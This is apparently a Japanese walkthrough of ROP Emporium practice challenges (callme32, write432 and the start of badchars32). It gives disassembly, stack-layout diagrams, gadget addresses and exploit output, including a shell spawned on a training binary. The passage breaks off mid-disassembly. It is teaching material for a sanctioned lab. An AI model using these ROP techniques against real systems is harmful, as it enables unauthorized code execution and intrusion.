0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873b  main
0x080487b6  pwnme
0x0804880c  usefulFunction
0x08048850  __libc_csu_init
0x080488b0  __libc_csu_fini
0x080488b4  _fini

またusefulFunctionがあります.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804880c <+0>:   push   ebp
   0x0804880d <+1>:   mov    ebp,esp
   0x0804880f <+3>:   sub    esp,0x8
   0x08048812 <+6>:   sub    esp,0x4
   0x08048815 <+9>:   push   0x6
   0x08048817 <+11>:  push   0x5
   0x08048819 <+13>:  push   0x4
   0x0804881b <+15>:  call   0x80485b0 <callme_three@plt>
   0x08048820 <+20>:  add    esp,0x10
   0x08048823 <+23>:  sub    esp,0x4
   0x08048826 <+26>:  push   0x6
   0x08048828 <+28>:  push   0x5
   0x0804882a <+30>:  push   0x4
   0x0804882c <+32>:  call   0x8048620 <callme_two@plt>
   0x08048831 <+37>:  add    esp,0x10
   0x08048834 <+40>:  sub    esp,0x4
   0x08048837 <+43>:  push   0x6
   0x08048839 <+45>:  push   0x5
   0x0804883b <+47>:  push   0x4
   0x0804883d <+49>:  call   0x80485c0 <callme_one@plt>
   0x08048842 <+54>:  add    esp,0x10
   0x08048845 <+57>:  sub    esp,0xc
   0x08048848 <+60>:  push   0x1
   0x0804884a <+62>:  call   0x80485e0 <exit@plt>
End of assembler dump.

callme_one , callme_two, callme_threeという見慣れない関数が3つあります.それぞれの関数に対して,第1引数4,第2引数5,第3引数6を渡しています.

今回は共有ライブラリとしてlibcallme32.soというファイルが渡されています.

$ file libcallme32.so
libcallme32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9677f4f42dd5a13429a33e9bd46ca3eab3936934, not stripped

callme_one , callme_two, callme_threeの本体はそれぞれ,この共有ライブラリの中にあります.libcallme32.soを逆アセンブルします.

$ gdb libcallme32.so

callme_one

gdb-peda$ disas callme_one 
Dump of assembler code for function callme_one:
   0x000006d0 <+0>:  push   ebp
   0x000006d1 <+1>: mov    ebp,esp
   0x000006d3 <+3>: push   ebx
   0x000006d4 <+4>: sub    esp,0x14
   0x000006d7 <+7>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000006dc <+12>:    add    ebx,0x1924
   0x000006e2 <+18>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000006e6 <+22>:    jne    0x7ab <callme_one+219>
   0x000006ec <+28>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000006f0 <+32>:    jne    0x7ab <callme_one+219>
   0x000006f6 <+38>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000006fa <+42>:    jne    0x7ab <callme_one+219>
   0x00000700 <+48>:    mov    DWORD PTR [ebp-0xc],0x0
   0x00000707 <+55>:    sub    esp,0x8
   0x0000070a <+58>:    lea    eax,[ebx-0x163c]
   0x00000710 <+64>:    push   eax
   0x00000711 <+65>:    lea    eax,[ebx-0x163a]
   0x00000717 <+71>:    push   eax
   0x00000718 <+72>:    call   0x570 <fopen@plt>
   0x0000071d <+77>:    add    esp,0x10
   0x00000720 <+80>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000723 <+83>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x00000727 <+87>:    jne    0x745 <callme_one+117>
   0x00000729 <+89>:    sub    esp,0xc
   0x0000072c <+92>:    lea    eax,[ebx-0x1624]
   0x00000732 <+98>:    push   eax
   0x00000733 <+99>:    call   0x550 <puts@plt>
   0x00000738 <+104>:   add    esp,0x10
   0x0000073b <+107>:   sub    esp,0xc
   0x0000073e <+110>:   push   0x1
   0x00000740 <+112>:   call   0x560 <exit@plt>
   0x00000745 <+117>:   sub    esp,0xc
   0x00000748 <+120>:   push   0x21
   0x0000074a <+122>:   call   0x540 <malloc@plt>
   0x0000074f <+127>:   add    esp,0x10
   0x00000752 <+130>:   mov    DWORD PTR [ebx+0x34],eax
   0x00000758 <+136>:   mov    eax,DWORD PTR [ebx+0x34]
   0x0000075e <+142>:   test   eax,eax
   0x00000760 <+144>:   jne    0x77e <callme_one+174>
   0x00000762 <+146>:   sub    esp,0xc
   0x00000765 <+149>:   lea    eax,[ebx-0x1602]
   0x0000076b <+155>:   push   eax
   0x0000076c <+156>:   call   0x550 <puts@plt>
   0x00000771 <+161>:   add    esp,0x10
   0x00000774 <+164>:   sub    esp,0xc
   0x00000777 <+167>:   push   0x1
   0x00000779 <+169>:   call   0x560 <exit@plt>
   0x0000077e <+174>:   mov    eax,DWORD PTR [ebx+0x34]
   0x00000784 <+180>:   sub    esp,0x4
   0x00000787 <+183>:   push   DWORD PTR [ebp-0xc]
   0x0000078a <+186>:   push   0x21
   0x0000078c <+188>:   push   eax
   0x0000078d <+189>:   call   0x520 <fgets@plt>
   0x00000792 <+194>:   add    esp,0x10
   0x00000795 <+197>:   mov    DWORD PTR [ebx+0x34],eax
   0x0000079b <+203>:   sub    esp,0xc
   0x0000079e <+206>:   push   DWORD PTR [ebp-0xc]
   0x000007a1 <+209>:   call   0x530 <fclose@plt>
   0x000007a6 <+214>:   add    esp,0x10
   0x000007a9 <+217>:   jmp    0x7c7 <callme_one+247>
   0x000007ab <+219>:   sub    esp,0xc
   0x000007ae <+222>:   lea    eax,[ebx-0x15e8]
   0x000007b4 <+228>:   push   eax
   0x000007b5 <+229>:   call   0x550 <puts@plt>
   0x000007ba <+234>:   add    esp,0x10
   0x000007bd <+237>:   sub    esp,0xc
   0x000007c0 <+240>:   push   0x1
   0x000007c2 <+242>:   call   0x560 <exit@plt>
   0x000007c7 <+247>:   nop
   0x000007c8 <+248>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x000007cb <+251>:   leave  
   0x000007cc <+252>:   ret    
End of assembler dump.

ざっと見る感じ,第1引数が1,第2引数が2,第3引数が3ではなかったらexitするようになっていて,その後はfopenしてmallocで0x21分領域を確保し,fgetsでファイルから値を読みこんで,確保しておいた領域へ格納,みたいなことをやっています.

callme_twoを見てみます.

callme_two

gdb-peda$ disas callme_two 
Dump of assembler code for function callme_two:
   0x000007cd <+0>:  push   ebp
   0x000007ce <+1>: mov    ebp,esp
   0x000007d0 <+3>: push   esi
   0x000007d1 <+4>: push   ebx
   0x000007d2 <+5>: sub    esp,0x10
   0x000007d5 <+8>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000007da <+13>:    add    ebx,0x1826
   0x000007e0 <+19>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000007e4 <+23>:    jne    0x88e <callme_two+193>
   0x000007ea <+29>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000007ee <+33>:    jne    0x88e <callme_two+193>
   0x000007f4 <+39>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000007f8 <+43>:    jne    0x88e <callme_two+193>
   0x000007fe <+49>:    mov    DWORD PTR [ebp-0xc],0x0
   0x00000805 <+56>:    sub    esp,0x8
   0x00000808 <+59>:    lea    eax,[ebx-0x163c]
   0x0000080e <+65>:    push   eax
   0x0000080f <+66>:    lea    eax,[ebx-0x15d3]
   0x00000815 <+72>:    push   eax
   0x00000816 <+73>:    call   0x570 <fopen@plt>
   0x0000081b <+78>:    add    esp,0x10
   0x0000081e <+81>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000821 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x00000825 <+88>:    jne    0x843 <callme_two+118>
   0x00000827 <+90>:    sub    esp,0xc
   0x0000082a <+93>:    lea    eax,[ebx-0x15ca]
   0x00000830 <+99>:    push   eax
   0x00000831 <+100>:   call   0x550 <puts@plt>
   0x00000836 <+105>:   add    esp,0x10
   0x00000839 <+108>:   sub    esp,0xc
   0x0000083c <+111>:   push   0x1
   0x0000083e <+113>:   call   0x560 <exit@plt>
   0x00000843 <+118>:   mov    DWORD PTR [ebp-0x10],0x0
   0x0000084a <+125>:   mov    DWORD PTR [ebp-0x10],0x0
   0x00000851 <+132>:   jmp    0x886 <callme_two+185>
   0x00000853 <+134>:   sub    esp,0xc
   0x00000856 <+137>:   push   DWORD PTR [ebp-0xc]
   0x00000859 <+140>:   call   0x580 <fgetc@plt>
   0x0000085e <+145>:   add    esp,0x10
   0x00000861 <+148>:   mov    esi,eax
   0x00000863 <+150>:   mov    edx,DWORD PTR [ebx+0x34]
   0x00000869 <+156>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0000086c <+159>:   add    eax,edx
   0x0000086e <+161>:   mov    ecx,DWORD PTR [ebx+0x34]
   0x00000874 <+167>:   mov    edx,DWORD PTR [ebp-0x10]
   0x00000877 <+170>:   add    edx,ecx
   0x00000879 <+172>:   movzx  edx,BYTE PTR [edx]
   0x0000087c <+175>:   mov    ecx,esi
   0x0000087e <+177>:   xor    edx,ecx
   0x00000880 <+179>:   mov    BYTE PTR [eax],dl
   0x00000882 <+181>:   add    DWORD PTR [ebp-0x10],0x1
   0x00000886 <+185>:   cmp    DWORD PTR [ebp-0x10],0xf
   0x0000088a <+189>:   jle    0x853 <callme_two+134>
   0x0000088c <+191>:   jmp    0x8aa <callme_two+221>
   0x0000088e <+193>:   sub    esp,0xc
   0x00000891 <+196>:   lea    eax,[ebx-0x15e8]
   0x00000897 <+202>:   push   eax
   0x00000898 <+203>:   call   0x550 <puts@plt>
   0x0000089d <+208>:   add    esp,0x10
   0x000008a0 <+211>:   sub    esp,0xc
   0x000008a3 <+214>:   push   0x1
   0x000008a5 <+216>:   call   0x560 <exit@plt>
   0x000008aa <+221>:   nop
   0x000008ab <+222>:   lea    esp,[ebp-0x8]
   0x000008ae <+225>:   pop    ebx
   0x000008af <+226>:   pop    esi
   0x000008b0 <+227>:   pop    ebp
   0x000008b1 <+228>:   ret

こちらも同様に,第1引数が1,第2引数が2,第3引数が3であるかどうかチェックした後,fopenしています.その後,0x0 → 0xfの16回のループに入っていますが,どうやらfgetcでfopenしたファイルから1文字ずつ読み取った値とcallme_oneで確保した領域をxorしています.

  • 0x00000853 - 0x0000088a をループ
  • movzx edx,BYTE PTR [edx] で callme_one で確保した領域から1バイト取り出し,edxに格納
  • mov ecx,esi にてfopenしたファイルから読み取った1文字をecxに格納
  • xor edx,ecx で2つの値をxor

最後に,callme_threeを見てみます.

callme_three

gdb-peda$ disas callme_three 
Dump of assembler code for function callme_three:
   0x000008b2 <+0>:  push   ebp
   0x000008b3 <+1>: mov    ebp,esp
   0x000008b5 <+3>: push   esi
   0x000008b6 <+4>: push   ebx
   0x000008b7 <+5>: sub    esp,0x10
   0x000008ba <+8>: call   0x5a0 <__x86.get_pc_thunk.bx>
   0x000008bf <+13>:    add    ebx,0x1741
   0x000008c5 <+19>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x000008c9 <+23>:    jne    0x994 <callme_three+226>
   0x000008cf <+29>:    cmp    DWORD PTR [ebp+0xc],0x2
   0x000008d3 <+33>:    jne    0x994 <callme_three+226>
   0x000008d9 <+39>:    cmp    DWORD PTR [ebp+0x10],0x3
   0x000008dd <+43>:    jne    0x994 <callme_three+226>
   0x000008e3 <+49>:    mov    DWORD PTR [ebp-0xc],0x0
   0x000008ea <+56>:    sub    esp,0x8
   0x000008ed <+59>:    lea    eax,[ebx-0x163c]
   0x000008f3 <+65>:    push   eax
   0x000008f4 <+66>:    lea    eax,[ebx-0x15b2]
   0x000008fa <+72>:    push   eax
   0x000008fb <+73>:    call   0x570 <fopen@plt>
   0x00000900 <+78>:    add    esp,0x10
   0x00000903 <+81>:    mov    DWORD PTR [ebp-0xc],eax
   0x00000906 <+84>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x0000090a <+88>:    jne    0x928 <callme_three+118>
   0x0000090c <+90>:    sub    esp,0xc
   0x0000090f <+93>:    lea    eax,[ebx-0x15a9]
   0x00000915 <+99>:    push   eax
   0x00000916 <+100>:   call   0x550 <puts@plt>
   0x0000091b <+105>:   add    esp,0x10
   0x0000091e <+108>:   sub    esp,0xc
   0x00000921 <+111>:   push   0x1
   0x00000923 <+113>:   call   0x560 <exit@plt>
   0x00000928 <+118>:   mov    DWORD PTR [ebp-0x10],0x10
   0x0000092f <+125>:   mov    DWORD PTR [ebp-0x10],0x10
   0x00000936 <+132>:   jmp    0x96b <callme_three+185>
   0x00000938 <+134>:   sub    esp,0xc
   0x0000093b <+137>:   push   DWORD PTR [ebp-0xc]
   0x0000093e <+140>:   call   0x580 <fgetc@plt>
   0x00000943 <+145>:   add    esp,0x10
   0x00000946 <+148>:   mov    esi,eax
   0x00000948 <+150>:   mov    edx,DWORD PTR [ebx+0x34]
   0x0000094e <+156>:   mov    eax,DWORD PTR [ebp-0x10]
   0x00000951 <+159>:   add    eax,edx
   0x00000953 <+161>:   mov    ecx,DWORD PTR [ebx+0x34]
   0x00000959 <+167>:   mov    edx,DWORD PTR [ebp-0x10]
   0x0000095c <+170>:   add    edx,ecx
   0x0000095e <+172>:   movzx  edx,BYTE PTR [edx]
   0x00000961 <+175>:   mov    ecx,esi
   0x00000963 <+177>:   xor    edx,ecx
   0x00000965 <+179>:   mov    BYTE PTR [eax],dl
   0x00000967 <+181>:   add    DWORD PTR [ebp-0x10],0x1
   0x0000096b <+185>:   cmp    DWORD PTR [ebp-0x10],0x1f
   0x0000096f <+189>:   jle    0x938 <callme_three+134>
   0x00000971 <+191>:   mov    eax,DWORD PTR [ebx+0x34]
   0x00000977 <+197>:   sub    esp,0x8
   0x0000097a <+200>:   push   eax
   0x0000097b <+201>:   lea    eax,[ebx-0x1591]
   0x00000981 <+207>:   push   eax
   0x00000982 <+208>:   call   0x510 <printf@plt>
   0x00000987 <+213>:   add    esp,0x10
   0x0000098a <+216>:   sub    esp,0xc
   0x0000098d <+219>:   push   0x0
   0x0000098f <+221>:   call   0x560 <exit@plt>
   0x00000994 <+226>:   sub    esp,0xc
   0x00000997 <+229>:   lea    eax,[ebx-0x15e8]
   0x0000099d <+235>:   push   eax
   0x0000099e <+236>:   call   0x550 <puts@plt>
   0x000009a3 <+241>:   add    esp,0x10
   0x000009a6 <+244>:   sub    esp,0xc
   0x000009a9 <+247>:   push   0x1
   0x000009ab <+249>:   call   0x560 <exit@plt>
End of assembler dump.

oneとtwoと同様に第1引数が1,第2引数が2,第3引数が3であるかどうかチェックし,fopenしています.その後,twoで0xfまでカウントした変数を用いて,今度は0x1fまでループしています.つまりまた16回のループです.そして,twoと同様にxorしています.twoと違うのはその後です.何かをprintfで出力してexitしています.

今回はencrypted_flag.txtとkey1.dat, key2.datという3つのファイルが渡されていますが,ここまでの結果を元に考えると

  • callme_oneでencrypted_flag.txtを開く
  • callme_twoでkey1.datを開き,xorで半分を復号
  • callme_threeでkey2.datを開き,xorでもう半分を復号
  • なお,3つの関数の引数は1, 2, 3にしなければならない

こんな感じになりそうです.

問題文にも You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. と書かれているので間違いなさそうです.

問題はこれらの関数をどういう風に呼ぶかですが,ここでROPというテクニックが出てきます.ROPとはReturn Oriented Programmingの略であり,popやret命令を繰り返しながらジャンプするように任意コードを実行していくものであり,これを実現するためにpopやretで固まっているコード片(通称ROP gadget)を探す必要があります.

今回の場合,

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
  callme_one
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
  callme_two
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
  callme_three
+-+-+-+-+-+-+-+
 return address
+-+-+-+-+-+-+-+
      0x1
+-+-+-+-+-+-+-+
      0x2
+-+-+-+-+-+-+-+
      0x3
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

このようなスタックの状態に持っていければ良いのですが,普通のreturn addressを渡してもcallme_oneを呼んだ後に次はcallme_two...という風に綺麗に繋がっていきません.そこで,以下のようなROP gadgetをreturn addressにするとどうでしょうか?

pop esi
pop edi
pop ebp
ret

0x1, 0x2, 0x3をそれぞれpopしてからcallme_twoをret,0x1, 0x2, 0x3をpopしてcallme_threeをret という風に繋げることができます.このような連鎖をROP chainと言います.では,上記のようなROP gadgetを探します.

ROP gadgetを探すツールはいろいろありますが,簡単なものならpedaで十分です.pedaでstartしてからropgadgetコマンドを実行します.

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ start
...................................
gdb-peda$ ropgadget
ret = 0x8048562
popret = 0x8048579
pop3ret = 0x80488a9
pop4ret = 0x80488a8
pop2ret = 0x80488aa
addesp_12 = 0x8048576
addesp_16 = 0x80486a5

pop3retというのが上記のROP gadgetです.

gdb-peda$ x/4i 0x80488a9
   0x80488a9 <__libc_csu_init+89>:   pop    esi
   0x80488aa <__libc_csu_init+90>:   pop    edi
   0x80488ab <__libc_csu_init+91>:   pop    ebp
   0x80488ac <__libc_csu_init+92>:   ret

これらの情報を元に,exploitを書いていきます.

exploit

callme32

$ python callme32-exploit.py
[+] Starting local process './callme32': pid 14666
callme by ROP Emporium
32bits

Hope you read the instructions...
> 
[*] Process './callme32' stopped with exit code 0 (pid 14666)
ROPE{a_placeholder_32byte_flag!}

おまけ

exploitの中に

f = open('input.txt', 'w')
f.write(payload)
f.close()

と書いて出力されたinput.txtを元に,gdbにて

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ b *0xXXXXXXXX
gdb-peda $ run < input.txt

(適当な場所にブレークポイントを仕掛けてから,実際にROPが実行されていく様をステップ実行してみると,より理解が深まるかと思います)

write4

$ file write432
write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped

$ ./write432
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> hoge

Exiting

gdbで見てみます.

$ gdb write432
Reading symbols from write432...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x0804864c  usefulFunction
0x08048670  usefulGadgets
0x08048680  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini

usefulGadgetsという関数が追加されています.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:  push   ebp
   0x0804864d <+1>: mov    ebp,esp
   0x0804864f <+3>: sub    esp,0x8
   0x08048652 <+6>: sub    esp,0xc
   0x08048655 <+9>: push   0x8048754
   0x0804865a <+14>:    call   0x8048430 <system@plt>
   0x0804865f <+19>:    add    esp,0x10
   0x08048662 <+22>:    nop
   0x08048663 <+23>:    leave  
   0x08048664 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048754
0x8048754: "/bin/ls"

usefulFunctionはlsするだけのようです.

usefulGadgets

gdb-peda$ disas usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x08048670 <+0>:  mov    DWORD PTR [edi],ebp
   0x08048672 <+2>: ret    
   0x08048673 <+3>: xchg   ax,ax
   0x08048675 <+5>: xchg   ax,ax
   0x08048677 <+7>: xchg   ax,ax
   0x08048679 <+9>: xchg   ax,ax
   0x0804867b <+11>:    xchg   ax,ax
   0x0804867d <+13>:    xchg   ax,ax
   0x0804867f <+15>:    nop
End of assembler dump.

どうやら mov DWORD PTR [edi],ebp というGadgetを使うっぽいです.念のためsplit32の時のように都合のいい文字列が無いかstringsで探してみますが,見つかりません.このGadgetを使って,任意の文字列を格納するしかなさそうです.

このアセンブリは,ediに格納されている値を4バイトのアドレスと見て,そこにebpの値を格納します.ということは,ebpに任意の文字列を渡して,ediにとあるアドレスを格納しておけば,うまくいきそうです.

ediにはどういうアドレスを渡すべきでしょうか?

前提として,書き込み可能な領域でないとダメです.実行ファイル中にどんな領域があるのか調べてみます.

$ readelf -S write432
31 個のセクションヘッダ、始点オフセット 0x196c:

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080482ac 0002ac 000081 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 00001a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048368 000368 000020 08   A  5   0  4
  [10] .rel.plt          REL             08048388 000388 000038 08  AI  5  24  4
  [11] .init             PROGBITS        080483c0 0003c0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483f0 0003f0 000080 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048470 000470 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048480 000480 000262 00  AX  0   0 16
  [15] .fini             PROGBITS        080486e4 0006e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080486f8 0006f8 000064 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804875c 00075c 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048798 000798 00010c 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001030 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001861 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001064 000510 10     30  50  4
  [30] .strtab           STRTAB          00000000 001574 0002ed 00      0   0  1
フラグのキー:
  W (write), A (alloc), X (実行), M (merge), S (文字列)
  I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明)
  O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)

Wというフラグが立っている場所が書き込み可能な場所です.あまり影響が出なそうな場所として,今回はbssセクションを使用してみます.bssセクションは初期化していないstaticな変数が格納される領域です.

次に,ROP gadgetを探します.pop edi; pop ebp; ret のようなGadgetを探しますが,これもpedaで十分です.

$ gdb write432
Reading symbols from write432...(no debugging symbols found)...done.
gdb-peda$ start
..............
gdb-peda$ ropgadget
ret = 0x804819d
popret = 0x80483e1
pop2ret = 0x80486da
pop4ret = 0x80486d8
pop3ret = 0x80486d9
addesp_12 = 0x80483de
addesp_16 = 0x80484e5
gdb-peda$ x/3i 0x80486da
   0x80486da <__libc_csu_init+90>:   pop    edi
   0x80486db <__libc_csu_init+91>:   pop    ebp
   0x80486dc <__libc_csu_init+92>:   ret    
gdb-peda$ 

pop2retというGadgetです.

引数の渡し方として,以下のように4バイトずつ渡していきます.2回目に書き込む場所としては,bss address + 4となります.

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
    pop2ret
+-+-+-+-+-+-+-+
  bss address
+-+-+-+-+-+-+-+
    "/bin"
+-+-+-+-+-+-+-+
  mov edi ebp
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

exploitは以下のようになります.

exploit

write432

$ python write432-exploit.py
[+] Starting local process './write432': pid 17483
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> 
[*] Switching to interactive mode
$ 
$ whoami
yyy
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

badchars

$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped

$ ./badchars32
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> hoge

Exiting

gdbで見てみます.

$ gdb badchars32
Reading symbols from badchars32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048440  _init
0x08048480  printf@plt
0x08048490  free@plt
0x080484a0  memcpy@plt
0x080484b0  fgets@plt
0x080484c0  malloc@plt
0x080484d0  puts@plt
0x080484e0  system@plt
0x080484f0  exit@plt
0x08048500  __libc_start_main@plt
0x08048510  setvbuf@plt
0x08048520  memset@plt
0x08048540  _start
0x08048570  __x86.get_pc_thunk.bx
0x08048580  deregister_tm_clones
0x080485b0  register_tm_clones
0x080485f0  __do_global_dtors_aux
0x08048610  frame_dummy
0x0804863b  main
0x080486b6  pwnme
0x080487a9  usefulFunction
0x080487c2  nstrlen
0x08048801  checkBadchars
0x08048890  usefulGadgets
0x080488a0  __libc_csu_init
0x08048900  __libc_csu_fini
0x08048904  _fini

nstrlen,checkbadcharsなど見慣れない関数があります.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x080487a9 <+0>:  push   ebp
   0x080487aa <+1>: mov    ebp,esp
   0x080487ac <+3>: sub    esp,0x8
   0x080487af <+6>: sub    esp,0xc
   0x080487b2 <+9>: push   0x8048973
   0x080487b7 <+14>:    call   0x80484e0 <system@plt>
   0x080487bc <+19>:    add    esp,0x10
   0x080487bf <+22>:    nop
   0x080487c0 <+23>:    leave  
   0x080487c1 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048973
0x8048973: "/bin/ls"

またlsするだけの関数のようなので,write4の時と同様に/bin/shを引数にsystemを呼びたいところです.

nstrlen

gdb-peda$ disas nstrlen 
Dump of assembler code for function nstrlen:
   0x080487c2 <+0>:  push   ebp
   0x080487c3 <+1>: mov    ebp,esp
   0x080487c5 <+3>: sub    esp,0x10
   0x080487c8 <+6>: mov    DWORD PTR [ebp-0x4],0x0
   0x080487cf <+13>:    mov    DWORD PTR [ebp-0x4],0x0
   0x080487d6 <+20>:    jmp    0x80487f4 <nstrlen+50>
   0x080487d8 <+22>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080487db <+25>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487de <+28>:    add    eax,edx
   0x080487e0 <+30>:    movzx  eax,BYTE PTR [eax]
   0x080487e3 <+33>:    cmp    al,0xa
   0x080487e5 <+35>:    jne    0x80487f0 <nstrlen+46>
   0x080487e7 <+37>:    add    DWORD PTR [ebp-0x4],0x1
   0x080487eb <+41>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487ee <+44>:    jmp    0x80487ff <nstrlen+61>
   0x080487f0 <+46>:    add    DWORD PTR [ebp-0x4],0x1
   0x080487f4 <+50>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487f7 <+53>:    cmp    eax,DWORD PTR [ebp+0xc]
   0x080487fa <+56>:    jb     0x80487d8 <nstrlen+22>
   0x080487fc <+58>:    mov    eax,DWORD PTR [ebp-0x4]
   0x080487ff <+61>:    leave  
   0x08048800 <+62>:    ret    
End of assembler dump.

0x80487d8 - 0x080487fa の間をループしていますが,注目すべきは0x080487e3のcmp al, 0xaで,0xaはASCIIコードで改行を表し,改行まで何文字あるかを,[ebp-0x4]の値を更新しながらループしているように見えます.つまり,入力値が何文字か調べる関数のようです.

checkBadchars

gdb-peda$ disas checkBadchars 
Dump of assembler code for function checkBadchars:
   0x08048801 <+0>:  push   ebp
   0x08048802 <+1>: mov    ebp,esp
   0x08048804 <+3>: sub    esp,0x10
   0x08048807 <+6>: mov    BYTE PTR [ebp-0x10],0x62
   0x0804880b <+10>:    mov    BYTE PTR [ebp-0xf],0x69
   0x0804880f <+14>:    mov    BYTE PTR [ebp-0xe],0x63
   0x08048813 <+18>:    mov    BYTE PTR [ebp-0xd],0x2f
   0x08048817 <+22>:    mov    BYTE PTR [ebp-0xc],0x20
   0x0804881b <+26>:    mov    BYTE PTR [ebp-0xb],0x66
   0x0804881f <+30>:    mov    BYTE PTR [ebp-0xa],0x6e
   0x08048823 <+34>:    mov    BYTE PTR [ebp-0x9],0x73
   0x08048827 <+38>:    mov    DWORD PTR [ebp-0x4],0x0
   0x0804882e <+45>:    mov    DWORD PTR [ebp-0x8],0x0
   0x08048835 <+52>:    mov    DWORD PTR [ebp-0x4],0x0
